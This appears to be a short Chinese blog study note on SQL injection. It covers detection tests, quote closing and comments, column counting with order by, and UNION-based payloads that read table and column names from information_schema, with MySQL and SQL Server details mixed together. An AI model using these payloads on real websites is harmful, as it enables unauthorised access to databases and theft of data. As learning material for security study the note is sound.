sql注入

分类:

  • 可分为数字型和字符型
  • 直接查id与查字段的区别

sql检测

  • 数字型:
select * from table where id=1 and 1=1不报错
select * from table where id=1 and 1=2 报错
  • 字符型
  • 关键在闭合与SQL语句及注释
select * from table where username='"'不报错
select * from table where username='''报错
  • 常用注释 “# --”

SQL Server

  • 利用information_schema.tables与information_schema.columns获取数据
获取数据库表
' union select 1,table_name from information_schema.tables#
获取字段
' union select 1,column_name from information_schema.columns where table_name='ALL_PLUGINS'#  
  • order by 6报错(判断表的列数)
  • union查询
    • 查询列数必须相同
    • 数据类型键容
    • 'union select null,null,null刚好不报错
    • 'union select 1,2,3
    • union all 不会去除重复数据
      一些函数
    • database()返回当前数据库名称
    • user()返回当前用户
    • select suser_name()返回用户登录标志名
    • select user_name()基于指定的标识号返回数据库用户名
    • select db_name():返回数据库名称
    • select is_member(‘db_owner’): 是否为数据库角色
    • select convert(int,‘5’):强制类型转换
  • information_schema
    • SCHEMATA表:SCHEMATA 表存储了 Mysql 数据库中所有库相关的信息
    • TABLES表:TABLES 表存储了 Mysql 数据库中表的信息。会记录这张表是属于哪个数据库(TABLE_SCHEMA)
    • COLUMNS表:COLUMNS 表存储了 Mysql 数据库中每张表中的列信息。
select * from information_schema.SCHEMATA
select * from information_schema.TABLES
select * from information_schema.COLUMNS

关于information_schema https://blog.csdn.net/gaowei_132/article/details/55050380

查询所有表名

'union select 1,1,table_schema from information_schema.tables#
原文地址:https://www.cnblogs.com/l0nmar/p/12553828.html